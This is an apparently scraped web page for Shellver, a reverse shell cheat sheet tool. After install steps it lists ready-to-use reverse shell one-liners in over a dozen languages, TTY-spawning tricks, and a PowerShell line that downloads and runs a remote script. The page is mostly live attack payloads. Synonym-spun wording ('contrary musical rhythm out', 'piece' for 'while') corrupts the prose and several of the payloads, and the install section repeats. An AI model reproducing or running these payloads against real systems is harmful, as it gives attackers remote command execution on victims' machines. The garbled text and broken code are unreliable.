Shellver - Contrary Musical Rhythm Out Cheat Canvass Tool
Reverse Shell Cheat Sheet Tool
Install Note
Clone the repository:
git clone https://github.com/0xR0/shellver.git
Then instruct inside:
cd shellver/
Then install it:
python setup.py -i
run shellver -h or "shellver bash or perl {} python {} php {} ruby {} netcat {} xterm {} musical rhythm out {} all".format (or)
Example
shellver python
shellver all
From https://github.com/swisskyrepo
Reverse Shell Methods
Reverse Shell Cheat Sheet
Bash TCP
Bash UDP
Perl
Python
Linux only
Windows only
PHP
Ruby
Netcat Traditional
Netcat OpenBsd
Ncat
Powershell
Awk
Java
Lua
Linux only
Windows too Linux
NodeJS
Groovy - yesteryear frohoff
NOTE: Java opposite musical rhythm out too piece of job for Groovy
Spawn TTY
(From an interpreter)
Access shortcuts, su, nano too autocomplete inwards a partially tty musical rhythm out /!\ OhMyZSH mightiness interruption this trick, a unproblematic
(From within vi)
(From within nmap)
Thanks to
Install Note
Clone the repository:
git clone https://github.com/0xR0/shellver.git
Then instruct inside:
cd shellver/
Then install it:
python setup.py -i
run shellver -h or "shellver bash or perl {} python {} php {} ruby {} netcat {} xterm {} musical rhythm out {} all".format (or)
Example
shellver python
shellver all
From https://github.com/swisskyrepo
Reverse Shell Methods
Reverse Shell Cheat Sheet
Bash TCP
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 0<&196;exec 196<>/dev/tcp//; sh <&196 >&196 2>&196
Bash UDP
Victim: sh -i >& /dev/udp/127.0.0.1/4242 0>&1 Listener: nc -u -lvp 4242
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$ ->fdopen($c,w);system$_ while<>;' NOTE: Windows exclusively perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$ ->fdopen($c,w);system$_ while<>;'
Python
Linux only
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is non None too (issubclass(__exctype, KeyboardInterrupt) too [True for __out[0] inwards [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] inwards [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon inwards [(True)]][0] for __g['p2s_thread'] inwards [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon inwards [(True)]][0] for __g['s2p_thread'] inwards [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] inwards [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] inwards [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ inwards [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] inwards [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ inwards [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] inwards [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] inwards [(s, p)]][0])({}), 's2p')]][0] for __g['os'] inwards [(__import__('os', __g, __g))]][0] for __g['socket'] inwards [(__import__('socket', __g, __g))]][0] for __g['subprocess'] inwards [(__import__('subprocess', __g, __g))]][0] for __g['threading'] inwards [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' NOTE: Windows exclusively ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat Traditional
nc -e /bin/sh [IPADDR] [PORT]
Netcat OpenBsd
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Ncat
ncat 127.0.0.1 4444 -e /bin/bash ncat --udp 127.0.0.1 4444 -e /bin/bash
Powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
Awk
awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ piece ((c |& getline) > 0) impress $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | piece read line; produce \$line 2>&5 >&5; done"] equally String[]) p.waitFor()
Lua
Linux only
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); piece truthful produce local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if condition == "closed" hence interruption destination terminal tcp:close()'
NodeJS
(function(){ var cyberspace = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var customer = novel net.Socket(); client.connect(8080, "10.17.26.64", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); supply /a/; // Prevents the Node.js application shape crashing })(); or require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]') or -var x = global.process.mainModule.require -x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
Groovy - yesteryear frohoff
NOTE: Java opposite musical rhythm out too piece of job for Groovy
String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Spawn TTY
/bin/sh -i
python -c 'import pty; pty.spawn("/bin/sh")' perl -e 'exec "/bin/sh";' perl: exec "/bin/sh"; ruby: exec "/bin/sh" lua: os.execute('/bin/sh')
sh
is recommended# inwards host ctrl+z stty raw -echo fg # inwards opposite musical rhythm out reset export SHELL=bash export TERM=xterm-256color stty rows columns
:!bash :set shell=/bin/bash:shell
!sh
Thanks to
- Reverse Bash Shell One Liner
- Pentest Monkey - Cheat Sheet Reverse shell
- Spawning a TTY Shell
- Obtaining a fully interactive shell